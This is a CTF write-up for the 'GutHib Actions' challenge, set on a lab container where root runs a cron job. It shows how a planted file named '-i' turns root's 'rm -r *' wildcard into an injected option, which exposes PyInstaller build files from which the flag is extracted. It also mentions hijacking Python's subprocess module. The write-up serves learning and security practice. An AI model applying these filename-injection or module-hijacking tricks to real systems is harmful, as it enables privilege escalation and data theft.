👨‍💻
CTFs
HomePlaygroundOSCPBuy Me a Flag 🚩
  • 🚩Zeyu's CTF Writeups
  • Home
  • Playground
  • OSCP
  • My Challenges
    • SEETF 2023
    • The InfoSecurity Challenge 2022
    • SEETF 2022
    • Cyber League Major 1
    • STANDCON CTF 2021
      • Space Station
      • Star Cereal
      • Star Cereal 2
      • Mission Control
      • Rocket Science
      • Space University of Interior Design
      • Rocket Ship Academy
      • Space Noise
  • 2023
    • DEF CON CTF 2023 Qualifiers
    • hxp CTF
      • true_web_assembly
    • HackTM CTF Qualifiers
      • Crocodilu
      • secrets
      • Hades
  • 2022
    • niteCTF 2022
      • Undocumented js-api
      • js-api
    • STACK the Flags 2022
      • Secret of Meow Olympurr
      • The Blacksmith
      • GutHib Actions
      • Electrogrid
      • BeautyCare
    • LakeCTF Qualifiers
      • People
      • Clob-Mate
      • So What? Revenge
    • The InfoSecurity Challenge 2022
      • Level 1 - Slay The Dragon
      • Level 2 - Leaky Matrices
      • Level 3 - PATIENT0
      • Level 4B - CloudyNekos
      • Level 5B - PALINDROME's Secret (Author Writeup)
    • BalsnCTF 2022
      • 2linenodejs
      • Health Check
    • BSidesTLV 2022 CTF
      • Smuggler
      • Wild DevTools
      • Tropical API
    • Grey Cat The Flag 2022
    • DEF CON CTF 2022 Qualifiers
    • Securinets CTF Finals 2022
      • StrUggLe
      • XwaSS ftw?
      • Strong
      • Artist
    • NahamCon CTF 2022
      • Flaskmetal Alchemist
      • Hacker TS
      • Two For One
      • Deafcon
      • OTP Vault
      • Click Me
      • Geezip
      • Ostrich
      • No Space Between Us
    • Securinets CTF Quals 2022
      • Document-Converter
      • PlanetSheet
      • NarutoKeeper
    • CTF.SG CTF
      • Asuna Waffles
      • Senpai
      • We know this all too well
      • Don't Touch My Flag
      • Wildest Dreams Part 2
      • Chopsticks
    • YaCTF 2022
      • Shiba
      • Flag Market
      • Pasteless
      • Secretive
      • MetaPDF
      • Crackme
    • DiceCTF 2022
      • knock-knock
      • blazingfast
    • TetCTF 2022
      • 2X-Service
      • Animals
      • Ezflag Level 1
  • 2021
    • hxp CTF 2021
    • HTX Investigator's Challenge 2021
    • Metasploit Community CTF
    • MetaCTF CyberGames
      • Look, if you had one shot
      • Custom Blog
      • Yummy Vegetables
      • Ransomware Patch
      • I Hate Python
      • Interception
    • CyberSecurityRumble CTF
      • Lukas App
      • Finance Calculat0r 2021
      • Personal Encryptor with Nonbreakable Inforation-theoretic Security
      • Enterprice File Sharing
      • Payback
      • Stonks Street Journal
    • The InfoSecurity Challenge (TISC) 2021
      • Level 4 - The Magician's Den
      • Level 3 - Needle in a Greystack
      • Level 2 - Dee Na Saw as a need
      • Level 1 - Scratching the Surface
    • SPbCTF's Student CTF Quals
      • 31 Line PHP
      • BLT
      • CatStep
    • Asian Cyber Security Challenge (ACSC) 2021
      • Cowsay As A Service
      • Favorite Emojis
      • Baby Developer
      • API
      • RSA Stream
      • Filtered
      • NYONG Coin
    • CSAW CTF Qualification Round 2021
      • Save the Tristate
      • securinotes
      • no pass needed
      • Gatekeeping
      • Ninja
    • YauzaCTF 2021
      • Yauzacraft Pt. 2
      • Yauzabomber
      • RISC 8bit CPU
      • ARC6969 Pt. 1
      • ARC6969 Pt. 2
      • Back in 1986 - User
      • Lorem-Ipsum
    • InCTF 2021
      • Notepad 1 - Snakehole's Secret
      • RaaS
      • MD Notes
      • Shell Boi
      • Listen
      • Ermittlung
      • Alpha Pie
    • UIUCTF 2021
      • pwnies_please
      • yana
      • ponydb
      • SUPER
      • Q-Rious Transmissions
      • capture the :flag:
      • back_to_basics
      • buy_buy_buy
    • Google CTF 2021
      • CPP
      • Filestore
    • TyphoonCon CTF 2021
      • Clubmouse
      • Impasse
    • DSTA BrainHack CDDC21
      • File It Away (Pwn)
      • Linux Rules the World! (Linux)
      • Going Active (Reconnaissance)
      • Behind the Mask (Windows)
      • Web Takedown Episode 2 (Web)
      • Break it Down (Crypto)
    • BCACTF 2.0
      • L10N Poll
      • Challenge Checker
      • Discrete Mathematics
      • Advanced Math Analysis
      • Math Analysis
      • American Literature
      • More Than Meets the Eye
      • 􃗁􌲔􇺟􊸉􁫞􄺷􄧻􃄏􊸉
    • Zh3ro CTF V2
      • Chaos
      • Twist and Shout
      • 1n_jection
      • alice_bob_dave
      • Baby SSRF
      • bxxs
      • Sparta
    • Pwn2Win CTF 2021
      • C'mon See My Vulns
      • Illusion
    • NorzhCTF 2021
      • Leet Computer
      • Secure Auth v0
      • Triskel 3: Dead End
      • Triskel 2: Going In
      • Triskel 1: First Contact
      • Discovery
    • DawgCTF 2021
      • Bofit
      • Jellyspotters
      • No Step On Snek
      • Back to the Lab 2
      • MDL Considered Harmful
      • Really Secure Algorithm
      • The Obligatory RSA Challenge
      • Trash Chain
      • What the Flip?!
      • Back to the Lab 1
      • Back to the Lab 3
      • Dr. Hrabowski's Great Adventure
      • Just a Comment
      • Baby's First Modulation
      • Two Truths and a Fib
    • UMDCTF 2021
      • Advantageous Adventures
      • Roy's Randomness
      • Whose Base Is It Anyway
      • Cards Galore
      • Pretty Dumb File
      • Minetest
      • Donnie Docker
      • Subway
      • Jump Not Easy
      • To Be XOR Not To Be
      • Office Secrets
      • L33t M4th
      • Bomb 2 - Mix Up
      • Jay
    • Midnight Sun CTF 2021
      • Corporate MFA
      • Gurkburk
      • Backups
    • picoCTF 2021
      • It Is My Birthday (100)
      • Super Serial (130)
      • Most Cookies (150)
      • Startup Company (180)
      • X marks the spot (250)
      • Web Gauntlet (170 + 300)
      • Easy Peasy (40)
      • Mini RSA (70)
      • Dachshund Attacks (80)
      • No Padding, No Problem (90)
      • Trivial Flag Transfer Protocol (90)
      • Wireshark twoo twooo two twoo... (100)
      • Disk, Disk, Sleuth! (110 + 130)
      • Stonks (20)
    • DSO-NUS CTF 2021
      • Insecure (100)
      • Easy SQL (200)
Powered by GitBook
On this page
  • Challenge Premise
  • Unintended Solution
  • Intended Solution

Was this helpful?

  1. 2022
  2. STACK the Flags 2022

GutHib Actions

PreviousThe BlacksmithNextElectrogrid

Last updated 2 years ago

Was this helpful?

This was a very simple Misc challenge with an obvious intended solution, but I solved it using a (relatively more complex) unintended solution. I thought I'd share it here for people to enjoy :)

Challenge Premise

The challenge revolves around the root user running a build.sh script every minute.

The script runs a build.py file, which calls on to build an executable from the /root/flag.py file, and store it in the /root directory.

Finally, the /tmp directory is cleared with rm -r *, which deletes all build files generated by pyinstaller.

FROM ubuntu:22.04

RUN apt-get update &&  \
    apt-get install -y python3 python3-pip openssh-server cron && \
    apt-get clean && \
    rm -rf /var/lib/apt/lists/*

RUN pip install pyinstaller && \
    pip cache purge

RUN useradd -m -c 'Restricted guest account' guest && \
    echo 'guest:guest' | chpasswd

RUN echo "PasswordAuthentication yes" >> /etc/ssh/sshd_config

RUN (crontab -l ; echo "* * * * * /root/build.sh") | crontab


COPY ./flag.py /root/flag.py
COPY ./build.sh /root/build.sh
COPY ./build.py /root/build.py
COPY ./start.sh /root/start.sh

RUN chown -R guest /home/guest && \
    chmod -R 700 /root && \
    chmod -R 777 /home/guest
EXPOSE 1337
ENTRYPOINT /root/start.sh
#!/bin/bash
cd /tmp  # dump all the temp files Pyinstaller may generate in the temp dir
cp /root/build.py build.py
python3 build.py >/dev/null 2>&1  # build flag printing binary
rm -r *
import subprocess
subprocess.call(['pyinstaller',  '-F',  '--distpath', '/root', '/root/flag.py'])

Unintended Solution

In Unix, wildcards are expanded by the shell and any matching filenames are passed as arguments to the program being run. This means that if there is a file by the name -rf, the rm * command would automatically be expanded to rm -rf - dangerous indeed!

-i     prompt before every removal

Therefore, by doing this:

$ echo "asdf" > "-i"
$ ls -la
total 12
-rw-rw-r-- 1 guest guest    5 Dec  5 18:00 -i
drwxrwxrwt 1 root  root  4096 Dec  5 18:00 .
drwxr-xr-x 1 root  root  4096 Dec  5 17:55 ..

we are effectively "hanging" the cronjob script at the rm -r * command, since the script has no way of answering the prompt that appears:

rm: descend into directory 'build'?

After the script runs, we have access to PyInstaller's build directory, where PyInstaller creates the files necessary for building the final executable generated in the distpath.

$ ls -la
total 24
-rw-rw-r-- 1 guest guest    5 Dec  5 18:04 -i
drwxrwxrwt 1 root  root  4096 Dec  5 18:07 .
drwxr-xr-x 1 root  root  4096 Dec  5 18:02 ..
drwxr-xr-x 3 root  root  4096 Dec  5 18:06 build
-rwx------ 1 root  root   101 Dec  5 18:07 build.py
-rw-r--r-- 1 root  root   814 Dec  5 18:06 flag.spec

Now that we have access to the build directory, let's take a look at what's inside.

$ ls -la build/flag
total 8468
drwxr-xr-x 3 root root    4096 Dec  5 18:06 .
drwxr-xr-x 3 root root    4096 Dec  5 18:06 ..
-rw-r--r-- 1 root root   10832 Dec  5 18:06 Analysis-00.toc
-rw-r--r-- 1 root root    4147 Dec  5 18:06 EXE-00.toc
-rw-r--r-- 1 root root    4052 Dec  5 18:06 PKG-00.toc
-rw-r--r-- 1 root root  859850 Dec  5 18:06 PYZ-00.pyz
-rw-r--r-- 1 root root    6937 Dec  5 18:06 PYZ-00.toc
-rw-r--r-- 1 root root 1066256 Dec  5 18:06 base_library.zip
-rw-r--r-- 1 root root 6457686 Dec  5 18:06 flag.pkg
drwxr-xr-x 2 root root    4096 Dec  5 18:06 localpycs
-rw-r--r-- 1 root root    1759 Dec  5 18:06 warn-flag.txt
-rw-r--r-- 1 root root  231842 Dec  5 18:06 xref-flag.html

We can inspect its contents using pyi-archive_viewer, which is installed together with PyInstaller.

$ pyi-archive_viewer build/flag/flag.pkg
 pos, length, uncompressed, iscompressed, type, name
[(0, 205, 271, 1, 'm', 'struct'),
 (205, 4225, 9058, 1, 'm', 'pyimod01_archive'),
 (4430, 7416, 17526, 1, 'm', 'pyimod02_importers'),
 (11846, 1772, 3639, 1, 'm', 'pyimod03_ctypes'),
 (13618, 594, 849, 1, 's', 'pyiboot01_bootstrap'),
 (14212, 450, 678, 1, 's', 'pyi_rth_inspect'),
 (14662, 105, 126, 1, 's', 'flag'),
 ...

We can then extract the flag file using the X command.

? X
extract name? flag
to filename? flag
?

Although we could quite easily see the flag in the hexdump of the extracted file at this point, I was still slightly confused by the file format, as the magic bytes were not recognised by Python bytecode disassemblers.

The extracted file was in fact the original Python bytecode, and not a .pyc file as was suggested by the PyInstaller documentation. The key difference is that a .pyc file contains:

  • A four-byte magic number,

  • A four-byte modification timestamp, and

  • A marshalled code object.

>>> import marshal
>>> exec(marshal.load(open('flag', 'rb')))
STF22{5up3r_5U5_5y5t3m_m0du13!_a0d66b3e608fe2b38ddf77d679fbde6b74e231f54c469a081f04dc65004360f8}

Intended Solution

The intended solution was just to override the subprocess module by writing to a subprocess.py file. I actually thought of this halfway through, but I was already too far in with the unintended solution not to see it through.

Anyway, this was a fun challenge! At least I learnt a thing or two about PyInstaller.

It might not be immediately obvious, but there is actually a vulnerability in the build.sh file. The rm -r * uses , which is wildly dangerous.

In this case, we do not want everything from the /tmp directory to be removed after the script is run, because the PyInstaller build files contain valuable information. We can place a file with the name -i in the /tmp directory to achieve this. According to the :

As explained in the , the flag.pkg is a ZlibArchive containing compressed .pyc files containing the bundled Python modules.

And the extracted file contains only the marshalled code object (also see this ). At this point we can just use Python's marshall module to run the code.

pyinstaller
wildcard expansion
man page
documentation
issue